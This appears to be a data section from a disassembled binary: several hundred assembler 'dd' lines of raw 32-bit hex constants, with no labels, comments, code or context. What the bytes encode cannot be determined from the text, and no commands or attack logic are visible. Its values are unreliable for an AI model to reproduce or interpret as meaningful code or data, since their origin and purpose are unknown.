		dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h,	0C80943B6h
		dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
		dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h,	58A7A00h
		dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h,	2C0E66F4h
		dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
		dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
		dd 542849Ah, 9100B8E8h,	591B470Eh, 15DA4Eh, 677A66C5h
		dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h,	0ED641400h
		dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah,	0EF5210B9h
		dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
		dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
		dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
		dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h,	0CA00D9BEh
		dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
		dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
		dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h,	32009D29h
		dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
		dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
		dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
		dd 28C1206h, 345E00C3h,	0A33A9333h, 53B3441Eh, 67D35DC0h
		dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch,	0D31DCB9Dh
		dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
		dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh,	4F8A0F82h
		dd 0CF9A8F92h, 0CFAACFA2h
		dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
		dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
		dd 91D259Dh, 1E489E43h,	87675584h, 678647B5h, 0AF96878Eh
		dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
		dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
		dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
		dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
		dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
		dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
		dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
		dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
		dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
		dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
		dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
		dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
		dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h,	487FC20h
		dd 195B03Ch, 671C4714h,	602C8424h, 253CC93h, 7CFEC77Fh
		dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh,	80FA5FF4h
		dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h,	3C3B2A3Ah
		dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
		dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
		dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h,	3CE75D87h
		dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
		dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
		dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
		dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h,	91A422A0h
		dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h,	130F6010h
		dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h,	0BA675274h
		dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
		dd 0D0F8C3F4h, 3970FCh,	83A0431h, 383C665Ch, 2E403D00h
		dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
		dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
		dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
		dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
		dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
		dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh,	1E16C4E5h
		dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h,	7AFE50ADh
		dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh,	0E940427h
		dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
		dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
		dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
		dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh,	0E14A492Eh
		dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
		dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh,	43F100F0h
		dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
		dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
		dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
		dd 8430170Bh, 38A0DE3Bh
		dd 0E8FF3Dh, 1DF612F2h,	0FE27FAh, 0F437B02Dh, 0B25AF849h
		dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
		dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
		dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
		dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
		dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h,	0F0786CEEh
		dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch,	0D39C7894h
		dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
		dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
		dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h,	5CA05344h
		dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh,	0BCA203B4h
		dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
		dd 0DC42C29h, 3D604D1h,	803E873Ch, 5869A02Bh, 0C5E1BF00h
		dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
		dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h,	69B03084h
		dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
		dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
		dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
		dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h,	0A593A873h
		dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
		dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h,	331883D7h
		dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
		dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
		dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
		dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
		dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
		dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
		dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
		dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh,	0D7F9D1B0h
		dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
		dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
		dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
		dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
		dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
		dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah,	4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h,	0C3E203AAh
		dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
		dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
		dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
		dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
		dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
		dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
		dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
		dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
		dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
		dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
		dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
		dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
		dd 0BD3C3Bh, 0C1C725C2h
		dd 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h,	0BA934800h
		dd 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h
		dd 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh
		dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h,	0F13082B9h
		dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
		dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
		dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
		dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h,	0BF5E0F9Eh
		dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
		dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
		dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh,	1101CC7Ah
		dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
		dd 98CF39h, 0C2A8CBA1h,	3A94E124h, 27AE38D3h, 1E200FC5h
		dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
		dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h,	0E26FD307h
		dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
		dd 0F8A6F490h, 9A94ABh,	0AAA0D813h, 773A394Eh, 3E1E59F0h
		dd 4C0EC49h, 40900C3Dh,	423000BCh, 0ADA0997h, 1239E002h
		dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
		dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
		dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
		dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
		dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h,	0B17BAC61h
		dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h,	3BF01EB8h
		dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh,	0E27E0E50h
		dd 95DF140h, 430E2506h,	63AF3487h, 14A4D9h, 3BA03AACh
		dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h,	0FEDBFEDAh
		dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
